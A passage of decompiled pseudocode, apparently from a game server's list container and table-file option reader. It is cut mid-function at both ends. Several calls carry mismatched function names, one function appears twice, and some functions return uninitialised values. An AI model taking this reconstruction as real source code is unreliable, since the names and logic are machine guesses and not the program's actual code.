[bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList(this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00555FB0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005560D0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005561F0) -------------------------------------------------------- void __thiscall OptionReader::_OptionReader(OptionReader *this) { OptionReader *v1; // esi@1 void *v2; // eax@3 v1 = this; if ( this->m_strFileName._Myres >= 0x10 ) operator delete(*(void **)&this->m_strFileName._Bx._Buf[0]); v1->m_strFileName._Myres = 15; v1->m_strFileName._Mysize = 0; v1->m_strFileName._Bx._Buf[0] = 0; _eh_vector_destructor_iterator_(v1->or_TableArray, 0x83Cu, 32, (void (__thiscall *)(void *))ORTable::_ORTable); v2 = v1->or_TableList.l_Array; v1->or_TableList.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); TokenArgument::_TokenArgument(&v1->or_Argument); } // 5D9B60: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (005562A0) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 int v3; // edi@1 signed int v4; // ecx@4 int v5; // edx@5 ListStruct *v6; // eax@7 ORRecord *v7; // ebp@7 int v8; // eax@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; v3 = 0; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v4 = 0; if ( v2->l_MaxSize > 0u ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 5D9B44: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (00556320) -------------------------------------------------------- void __thiscall ORTable::ORTable(ORTable *this) { ORTable *v1; // esi@1 void *v2; // eax@1 int v3; // ebp@2 v1 = this; *(_QWORD *)&this->ort_TableName.ort_Name[12] = 0i64; *(_QWORD *)&this->ort_TableName.ort_Name[4] = 0i64; *(_DWORD *)&this->ort_TableName.ort_Name[0] = 0; ORColumnHeaderList::ORColumnHeaderList(&this->ort_HeaderList); v1->ort_DataArray.la_Size = 32; v2 = operator new__(0x10104u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 32; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x808u, 32, (void (__thiscall *)(void *))ORRecord::ORRecord, (void (__thiscall *)(void *))ORRecord::_ORRecord); } else { v3 = 0; } v1->ort_DataArray.la_Array = (ORRecord *)v3; List::List(&v1->ort_DataRecord, &v1->ort_DataArray); v1->ort_PrimaryKey = 0; } //----- (005564A0) -------------------------------------------------------- char __thiscall OptionReader::or_Read(OptionReader *this, char *filename) { OptionReader *v2; // esi@1 _iobuf *v3; // edi@3 int v4; // edi@7 int v5; // ebp@7 int v6; // edx@9 int v7; // ecx@9 int v8; // eax@10 char v9; // al@12 char result; // al@58 _iobuf *fp; // [sp+Ch] [bp-1038h]@3 char com[4]; // [sp+10h] [bp-1034h]@5 int v13; // [sp+14h] [bp-1030h]@5 int v14; // [sp+18h] [bp-102Ch]@5 int v15; // [sp+1Ch] [bp-1028h]@5 int v16; // [sp+20h] [bp-1024h]@5 ORTokenReader token; // [sp+24h] [bp-1020h]@5 unsigned int v18; // [sp+1034h] [bp-10h]@58 int v19; // [sp+1040h] [bp-4h]@5 v2 = this; if ( filename ) std::basic_string_std::allocator>::assign( &this->m_strFileName, filename, strlen(filename)); v3 = fopen(filename, "r"); fp = v3; ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Undefined Error"); if ( v3 ) { ORTokenReader::ORTokenReader(&token, v3, &v2->or_Argument); v19 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)com = 0; while ( 1 ) { if ( !ORTokenReader::ortr_ReadCommand(&token, (ORToken *)com) ) { LABEL_57: fclose(fp); v19 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); goto LABEL_58; } v4 = *(_DWORD *)com; v5 = v13; if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_CommentMark ) break; if ( v13 != dword_1465DF8C ) break; v6 = v14; v7 = v15; if ( v14 != dword_1465DF90 ) goto LABEL_14; v8 = v16; if ( v15 == dword_1465DF94 && v16 == dword_1465DF98 ) { v9 = ORComment::orc_Exec(&v2->or_Argument.comment, &token); goto LABEL_49; } LABEL_15: if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Brace || v13 != dword_1465DE74 || v6 != dword_1465DE78 || v7 != dword_1465DE7C || v8 != dword_1465DE80 ) { if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Ignore || v13 != dword_1465DF28 || v6 != dword_1465DF2C || v7 != dword_1465DF30 || v8 != dword_1465DF34 ) { if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Delimiter || v13 != dword_1465DE88 || v6 != dword_1465DE8C || v7 != dword_1465DE90 || v8 != dword_1465DE94 ) { if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Exchange || v13 != dword_1465DE4C || v6 != dword_1465DE50 || v7 != dword_1465DE54 || v8 != dword_1465DE58 ) { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_Table) ) { v9 = OptionReader::or_ExecTable(v2, &token); } else { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_ColumnType) ) { v9 = OptionReader::or_ExecColumnType(v2, &token); } else { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_ColumnName) ) { v9 = OptionReader::or_ExecColumnName(v2, &token); } else { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_Record) ) { v9 = OptionReader::or_ExecRecord(v2, &token); } else { if ( !ORToken::operator__((ORToken *)com, &OptionReader::or_RecordIn) ) { if ( v4 != *(_DWORD *)OptionReader::or_End || v5 != dword_1465DF50 || v14 != dword_1465DF54 || v15 != dword_1465DF58 || v16 != dword_1465DF5C ) ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Undefined command"); goto LABEL_57; } v9 = OptionReader::or_ExecRecordIn(v2, &token); } } } } } else { v9 = ORExchange::ore_Exec(&v2->or_Argument.exchange, &token); } } else { v9 = ORDelimiter::ord_Exec((ORIgnore *)&v2->or_Argument.delimiter, &token); } } else { v9 = ORDelimiter::ord_Exec(&v2->or_Argument.ignore, &token); } } else { v9 = ORBrace::orb_Exec(&v2->or_Argument.brace, &token); } LABEL_49: if ( !v9 ) goto LABEL_57; } v6 = v14; v7 = v15; LABEL_14: v8 = v16; goto LABEL_15; } ORErrorMessage::operator_(&v2->or_Argument.errmsg, "File not found"); LABEL_58: __security_check_cookie(v18); return result; } // 1465DE4C: using guessed type int dword_1465DE4C; // 1465DE50: using guessed type int dword_1465DE50; // 1465DE54: using guessed type int dword_1465DE54; // 1465DE58: using guessed type int dword_1465DE58; // 1465DE74: using guessed type int dword_1465DE74; // 1465DE78: using guessed type int dword_1465DE78; // 1465DE7C: using guessed type int dword_1465DE7C; // 1465DE80: using guessed type int dword_1465DE80; // 1465DE88: using guessed type int dword_1465DE88; // 1465DE8C: using guessed type int dword_1465DE8C; // 1465DE90: using guessed type int dword_1465DE90; // 1465DE94: using guessed type int dword_1465DE94; // 1465DF28: using guessed type int dword_1465DF28; // 1465DF2C: using guessed type int dword_1465DF2C; // 1465DF30: using guessed type int dword_1465DF30; // 1465DF34: using guessed type int dword_1465DF34; // 1465DF50: using guessed type int dword_1465DF50; // 1465DF54: using guessed type int dword_1465DF54; // 1465DF58: using guessed type int dword_1465DF58; // 1465DF5C: using guessed type int dword_1465DF5C; // 1465DF8C: using guessed type int dword_1465DF8C; // 1465DF90: using guessed type int dword_1465DF90; // 1465DF94: using guessed type int dword_1465DF94; // 1465DF98: using guessed type int dword_1465DF98; //----- (005567F0) -------------------------------------------------------- char __thiscall MakePrimaryKeyColumn::lid_Call(MakePrimaryKeyColumn *this, ORField *ele, unsigned __int16 handle) { MakePrimaryKeyColumn *v3; // esi@1 ORToken *v4; // eax@1 ORRecord *v5; // ST04_4@7 ORToken *v6; // eax@7 char result; // al@8 v3 = this; v4 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v4->ort_Name[0] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[0] || *(_DWORD *)&v4->ort_Name[4] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[4] || *(_DWORD *)&v4->ort_Name[8] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[8] || *(_DWORD *)&v4->ort_Name[12] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[12] || *(_DWORD *)&v4->ort_Name[16] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[16] ) { result = 1; } else { if ( ele->vfptr->orf_GetType(ele) == 1 ) { v5 = v3->mpkc_rec; v6 = (ORToken *)ele->vfptr->orf_GetBuffer(ele); ORKeyList::okl_AddKey(v3->mpkc_keylist, v6, v5); } result = 0; } return result; } //----- (00556860) -------------------------------------------------------- char __thiscall OrderArgument::lid_Call(OrderArgument *this, ORRecord *ele, unsigned __int16 handle) { int v3; // eax@1 char result; // al@2 v3 = this->oa_target; if ( v3 > 0 ) { this->oa_target = v3 - 1; result = 1; } else { this->oa_record = ele; result = 0; } return result; } //----- (00556880) -------------------------------------------------------- char __thiscall ColumnCheckArgument::lid_Call(ColumnCheckArgument *this, ORField *ele, unsigned __int16 handle) { ColumnCheckArgument *v3; // edi@1 char result; // al@2 ORToken *v5; // esi@3 ORToken *v6; // eax@3 v3 = this; if ( ORToken::ort_IsNull(this->cca_column) ) { v3->cca_found = 1; result = 0; } else { v5 = v3->cca_column; v6 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v6->ort_Name[0] != *(_DWORD *)&v5->ort_Name[0] || *(_DWORD *)&v6->ort_Name[4] != *(_DWORD *)&v5->ort_Name[4] || *(_DWORD *)&v6->ort_Name[8] != *(_DWORD *)&v5->ort_Name[8] || *(_DWORD *)&v6->ort_Name[12] != *(_DWORD *)&v5->ort_Name[12] || *(_DWORD *)&v6->ort_Name[16] != *(_DWORD *)&v5->ort_Name[16] ) { result = 1; } else { if ( ele->vfptr->orf_CompareContent(ele, v3->cca_contentstring, &v3->cca_contentindex) ) v3->cca_found = 1; result = 0; } } return result; } //----- (00556900) -------------------------------------------------------- char __thiscall TargetColumnFindArgument::lid_Call(TargetColumnFindArgument *this, ORField *ele, unsigned __int16 handle) { TargetColumnFindArgument *v3; // esi@1 ORToken *v4; // eax@1 char result; // al@6 v3 = this; v4 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v4->ort_Name[0] != *(_DWORD *)&v3->tcfa_target.ort_Name[0] || *(_DWORD *)&v4->ort_Name[4] != *(_DWORD *)&v3->tcfa_target.ort_Name[4] || *(_DWORD *)&v4->ort_Name[8] != *(_DWORD *)&v3->tcfa_target.ort_Name[8] || *(_DWORD *)&v4->ort_Name[12] != *(_DWORD *)&v3->tcfa_target.ort_Name[12] || *(_DWORD *)&v4->ort_Name[16] != *(_DWORD *)&v3->tcfa_target.ort_Name[16] ) { result = 1; } else { v3->tcfa_content = ele->vfptr->orf_GetBuffer(ele); *v3->tcfa_type = ele->vfptr->orf_GetType(ele); result = 0; } return result; } //----- (00556960) -------------------------------------------------------- char __thiscall TableNameCompareArgument::lid_Call(TableNameCompareArgument *this, ORTable *ele, unsigned __int16 handle) { TableNameCompareArgument *v3; // esi@1 int v4; // eax@1 char result; // al@6 v3 = this; MoveManager::MoveManager((DiceTaiSai *)ele); if ( *(_DWORD *)&v3->tnca_tablename.ort_Name[0] != *(_DWORD *)v4 || *(_DWORD *)&v3->tnca_tablename.ort_Name[4] != *(_DWORD *)(v4 + 4) || *(_DWORD *)&v3->tnca_tablename.ort_Name[8] != *(_DWORD *)(v4 + 8) || *(_DWORD *)&v3->tnca_tablename.ort_Name[12] != *(_DWORD *)(v4 + 12) || *(_DWORD *)&v3->tnca_tablename.ort_Name[16] != *(_DWORD *)(v4 + 16) ) { result = 1; } else { v3->tnca_found = ele; result = 0; } return result; } //----- (005569B0) -------------------------------------------------------- void __thiscall ORColumnHeader::_ORColumnHeader(ORColumnHeader *this) { this->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeader::_vftable_; } // 5D9C58: using guessed type int (__stdcall *ORColumnHeader___vftable_)(int token, int targ); //----- (005569C0) -------------------------------------------------------- ORToken *__thiscall ORColumnHeader::orch_GetColumnName(ORColumnHeader *this) { return &this->orch_ColumnName; } //----- (005569D0) -------------------------------------------------------- int __thiscall ORColumnHeader::ortr_SetLength(ORColumnHeader *this, ORTokenReader *token, TokenArgument *targ) { return this->orch_Length; } //----- (005569E0) -------------------------------------------------------- char __thiscall ORColumnHeader::orch_FillCell(ORColumnHeader *this, ORTokenReader *token, ORRecord *datarecord) { ORColumnHeader *v3; // edi@1 unsigned __int16 v4; // ax@1 ORField *v5; // eax@1 ORField *v6; // esi@1 char result; // al@2 ORColumnHeader *hnd; // [sp+0h] [bp-4h]@1 hnd = this; v3 = this; v4 = ((int (*)(void))this->vfptr->orch_FieldType)(); v5 = ORRecord::orr_AllocObject(datarecord, (unsigned __int16 *)&hnd, v4); v6 = v5; if ( v5 ) { PacketContainer::pcb_SetSocketSession(v5, v3); ORRecord::orr_AllocMemory(datarecord, v6); result = v6->vfptr->orf_Read(v6, token); } else { ORTokenReader::ortr_SetError(token, "Cannot alloc field memory"); result = 0; } return result; } //----- (00556A40) -------------------------------------------------------- int __thiscall ORColumnHeaderString::ortr_SetLength(ORColumnHeaderString *this, ORTokenReader *token, TokenArgument *targ) { ORTokenReader *v3; // esi@1 ORColumnHeaderString *v4; // ebp@1 char v5; // al@1 ORBrace *v6; // edi@1 int result; // eax@2 int v8; // ebx@3 char v9; // al@7 v3 = token; v4 = this; v5 = ORTokenReader::ortr_ReadChar(token); v6 = &targ->brace; if ( ORBrace::orb_IsOpen(&targ->brace, v5) ) { LOBYTE(token) = 0; v8 = ORTokenReader::ortr_ReadNumber(v3, (char *)&token); if ( (_BYTE)token ) { if ( v8 > 0 ) { v9 = ORTokenReader::ortr_ReadChar(v3); if ( ORBrace::orb_IsClose(v6, v9) ) { v4->baseclass_0.orch_Length = v8; result = v8; } else { ORTokenReader::ortr_SetError(v3, "Brace must be closed in same line"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "String length must be bigger then 0"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "Error in string length"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "String need length"); result = 0; } return result; } //----- (00556B00) -------------------------------------------------------- void __thiscall ORColumnHeaderList::ORColumnHeaderList(ORColumnHeaderList *this) { memset(this, 0, 0x800u); } //----- (00556B20) -------------------------------------------------------- ORColumnHeader *__thiscall ORColumnHeaderList::orchl_AllocObject(ORColumnHeaderList *this, unsigned __int16 *hnd, unsigned __int16 type) { ORColumnHeaderList *v3; // ebx@1 signed int v4; // edi@1 ORColumnHeader *result; // eax@4 v3 = this; v4 = 0; while ( this->orchl_fieldname[v4] ) { ++v4; if ( v4 >= 512 ) return 0; } switch ( type ) { case 1u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderIndex::_vftable_; result->orch_Length = 20; v3->orchl_fieldname[v4] = result; break; case 2u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderString::_vftable_; result->orch_Length = -1; v3->orchl_fieldname[v4] = result; break; case 3u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderByte::_vftable_; result->orch_Length = 1; v3->orchl_fieldname[v4] = result; break; case 4u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderWord::_vftable_; result->orch_Length = 2; v3->orchl_fieldname[v4] = result; break; case 5u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) { LABEL_16: v3->orchl_fieldname[v4] = 0; goto LABEL_17; } *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderDwrd::_vftable_; result->orch_Length = 4; v3->orchl_fieldname[v4] = result; break; default: LABEL_17: result = v3->orchl_fieldname[v4]; break; } return result; } // 5D9C7C: using guessed type int (__stdcall *ORColumnHeaderIndex___vftable_)(int token, int targ); // 5D9C84: using guessed type int (__stdcall *ORColumnHeaderString___vftable_)(int token, char result); // 5D9D00: using guessed type int (__stdcall *ORColumnHeaderByte___vftable_)(int token, int targ); // 5D9D08: using guessed type int (__stdcall *ORColumnHeaderWord___vftable_)(int token, int targ); // 5D9D10: using guessed type int (__stdcall *ORColumnHeaderDwrd___vftable_)(int token, int targ); //----- (00556C90) -------------------------------------------------------- char __thiscall ORRecord::orr_4AllInList(ORRecord *this, ListIteratorDefault *arg) { ORRecord *v2; // ebx@1 signed int v3; // esi@1 ORField *v4; // eax@2 v2 = this; v3 = 0; while ( 1 ) { v4 = v2->orr_FieldArray[v3]; if ( v4 ) { if ( !arg->vfptr->lid_Call(arg, v4, v3) ) break; } ++v3; if ( v3 >= 512 ) return 1; } return 0; } //----- (00556CD0) -------------------------------------------------------- char __thiscall MakePrimaryKey::lid_Call(MakePrimaryKey *this, ORRecord *ele, unsigned __int16 handle) { int v3; // edx@1 ORKeyList *v4; // eax@1 int arg; // [sp+0h] [bp-30h]@1 __int64 v7; // [sp+4h] [bp-2Ch]@1 int v8; // [sp+Ch] [bp-24h]@1 int v9; // [sp+10h] [bp-20h]@1 int v10; // [sp+14h] [bp-1Ch]@1 ORRecord *v11; // [sp+18h] [bp-18h]@1 ORKeyList *v12; // [sp+1Ch] [bp-14h]@1 unsigned int cookie; // [sp+20h] [bp-10h]@1 int v14; // [sp+2Ch] [bp-4h]@1 v7 = *(_QWORD *)&this->mpk_keycolumn.ort_Name[0]; v4 = this->mpk_keylist; v8 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[8]; v3 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[12]; v10 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[16]; arg = (int)MakePrimaryKeyColumn::_vftable_; v9 = v3; v11 = ele; v12 = v4; v14 = 0; ORRecord::orr_4AllInList(ele, (ListIteratorDefault *)&arg); __security_check_cookie(cookie); return (char)v4; } // 5D9D18: using guessed type int (__stdcall *MakePrimaryKeyColumn___vftable_[4])(int ele, __int16 handle); //----- (00556D60) -------------------------------------------------------- char __thiscall ColumnNameArgument::lid_Call(ColumnNameArgument *this, ORColumnHeader *ele, unsigned __int16 handle) { ColumnNameArgument *v3; // esi@1 char *v4; // eax@1 char result; // al@2 v3 = this; v4 = ORTokenReader::ortr_ReadString(this->cna_token, BIS_EXCLUDEBRACE); if ( v4 ) { *(_QWORD *)&ele->orch_ColumnName.ort_Name[12] = 0i64; *(_QWORD *)&ele->orch_ColumnName.ort_Name[4] = 0i64; *(_DWORD *)&ele->orch_ColumnName.ort_Name[0] = 0; strncpy(ele->orch_ColumnName.ort_Name, v4, 0x14u); result = 1; } else { ORTokenReader::ortr_SetError(v3->cna_token, "Column type-name mismatch"); result = 0; } return result; } //----- (00556DB0) -------------------------------------------------------- char __thiscall DataRecordArgument::lid_Call(DataRecordArgument *this, ORColumnHeader *ele, unsigned __int16 handle) { return ORColumnHeader::orch_FillCell(ele, this->dra_token, this->dra_datarecord); } //----- (00556DD0) -------------------------------------------------------- char __thiscall RecordDataCompareArgument::lid_Call(RecordDataCompareArgument *this, ORRecord *ele, unsigned __int16 handle) { RecordDataCompareArgument *v3; // esi@1 char *v4; // ST04_4@1 int v5; // eax@2 char result; // al@4 int arg; // [sp+Ch] [bp-34h]@1 ORToken *v8; // [sp+10h] [bp-30h]@1 char *v9; // [sp+14h] [bp-2Ch]@1 char v10[4]; // [sp+18h] [bp-28h]@1 int v11; // [sp+1Ch] [bp-24h]@1 int v12; // [sp+20h] [bp-20h]@1 int v13; // [sp+24h] [bp-1Ch]@1 int v14; // [sp+28h] [bp-18h]@1 char v15; // [sp+2Ch] [bp-14h]@1 unsigned int v16; // [sp+30h] [bp-10h]@4 int v17; // [sp+3Ch] [bp-4h]@1 v3 = this; v4 = this->rdca_content; arg = (int)ColumnCheckArgument::_vftable_; v8 = &this->rdca_column; v9 = v4; v14 = 0; v13 = 0; v12 = 0; v11 = 0; *(_DWORD *)v10 = 0; strncpy(v10, v4, 0x14u); v15 = 0; v17 = 0; ORRecord::orr_4AllInList(ele, (ListIteratorDefault *)&arg); if ( v15 ) { v5 = v3->rdca_skip; if ( v5 <= 0 ) v3->rdca_record = ele; else v3->rdca_skip = v5 - 1; } __security_check_cookie(v16); return result; } // 5D9D48: using guessed type int (__stdcall *ColumnCheckArgument___vftable_[4])(int ele, __int16 handle); //----- (00556E90) -------------------------------------------------------- void __thiscall ORColumnHeaderList::_ORColumnHeaderList(ORColumnHeaderList *this) { ORColumnHeaderList *v1; // edi@1 signed int v2; // esi@1 ORColumnHeader *v3; // ecx@2 void *v4; // ecx@3 v1 = this; v2 = 0; do { v3 = v1->orchl_fieldname[v2]; if ( v3 ) { ORColumnHeader::_ORColumnHeader(v3); operator delete(v4); } ++v2; } while ( v2 < 512 ); } //----- (00556EC0) -------------------------------------------------------- char __thiscall ORTable::ort_MakePrimaryKey(ORTable *this, char *column) { ORTable *v2; // esi@1 void *v3; // edi@1 void *v4; // eax@3 int v5; // eax@4 int v6; // edi@4 void *v7; // edi@8 char result; // al@11 int arg; // [sp+10h] [bp-2Ch]@7 char v10[4]; // [sp+14h] [bp-28h]@7 int v11; // [sp+18h] [bp-24h]@7 int v12; // [sp+1Ch] [bp-20h]@7 int v13; // [sp+20h] [bp-1Ch]@7 int v14; // [sp+24h] [bp-18h]@7 int v15; // [sp+28h] [bp-14h]@7 unsigned int v16; // [sp+2Ch] [bp-10h]@11 int v17; // [sp+38h] [bp-4h]@3 v2 = this; v3 = this->ort_PrimaryKey; if ( v3 ) { ORKeyList::_ORKeyList(this->ort_PrimaryKey); operator delete(v3); } v4 = operator new(0x6004u); v17 = 0; if ( v4 ) { ORKeyList::ORKeyList((ORKeyList *)v4); v6 = v5; } else { v6 = 0; } v17 = -1; v2->ort_PrimaryKey = (ORKeyList *)v6; if ( v6 ) { arg = (int)MakePrimaryKey::_vftable_; v14 = 0; v13 = 0; v12 = 0; v11 = 0; *(_DWORD *)v10 = 0; strncpy(v10, column, 0x14u); v15 = v6; v17 = 1; List::l_4AllInList((List *)&v2->ort_DataRecord, (ListIteratorDefault *)&arg); if ( !ORKeyList::okl_Sorting(v2->ort_PrimaryKey) ) { v7 = v2->ort_PrimaryKey; if ( v7 ) { ORKeyList::_ORKeyList(v2->ort_PrimaryKey); operator delete(v7); } v2->ort_PrimaryKey = 0; } } __security_check_cookie(v16); return result; } // 5D9D1C: using guessed type int (__stdcall *MakePrimaryKey___vftable_[3])(int ele, __int16 handle); //----- (00556FF0) -------------------------------------------------------- char __thiscall ORTable::ort_ReadColumnName(ORTable *this, ORTokenReader *token) { int (__stdcall **arg)(int, __int16); // [sp+0h] [bp-14h]@1 ORTokenReader *v4; // [sp+4h] [bp-10h]@1 int v5; // [sp+10h] [bp-4h]@1 arg = &ColumnNameArgument::_vftable_; v4 = token; v5 = 0; return ORRecord::orr_4AllInList((ORRecord *)&this->ort_HeaderList, (ListIteratorDefault *)&arg); } // 5D9D24: using guessed type int (__stdcall *ColumnNameArgument___vftable_)(int ele, __int16 handle); //----- (00557040) -------------------------------------------------------- void *__thiscall ORRecord::orr_GetFieldData(ORRecord *this, char *targetcolumn, int *type) { ORRecord *v3; // edi@1 void *result; // eax@1 int arg; // [sp+8h] [bp-30h]@1 char v6[4]; // [sp+Ch] [bp-2Ch]@1 int v7; // [sp+10h] [bp-28h]@1 int v8; // [sp+14h] [bp-24h]@1 int v9; // [sp+18h] [bp-20h]@1 int v10; // [sp+1Ch] [bp-1Ch]@1 int v11; // [sp+20h] [bp-18h]@1 int *v12; // [sp+24h] [bp-14h]@1 unsigned int v13; // [sp+28h] [bp-10h]@1 int v14; // [sp+34h] [bp-4h]@1 v3 = this; arg = (int)TargetColumnFindArgument::_vftable_; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)v6 = 0; strncpy(v6, targetcolumn, 0x14u); v11 = 0; v12 = type; v14 = 0; ORRecord::orr_4AllInList(v3, (ListIteratorDefault *)&arg); __security_check_cookie(v13); return result; } // 5D9D4C: using guessed type int (__stdcall *TargetColumnFindArgument___vftable_[3])(int ele, __int16 handle); //----- (005570E0) -------------------------------------------------------- void *__thiscall ORTable::ort_FindData(ORTable *this, char *column, char *content, char *targetcolumn, int skip, int *type) { ORTable *v6; // edi@1 void *result; // eax@3 int arg; // [sp+8h] [bp-34h]@1 char 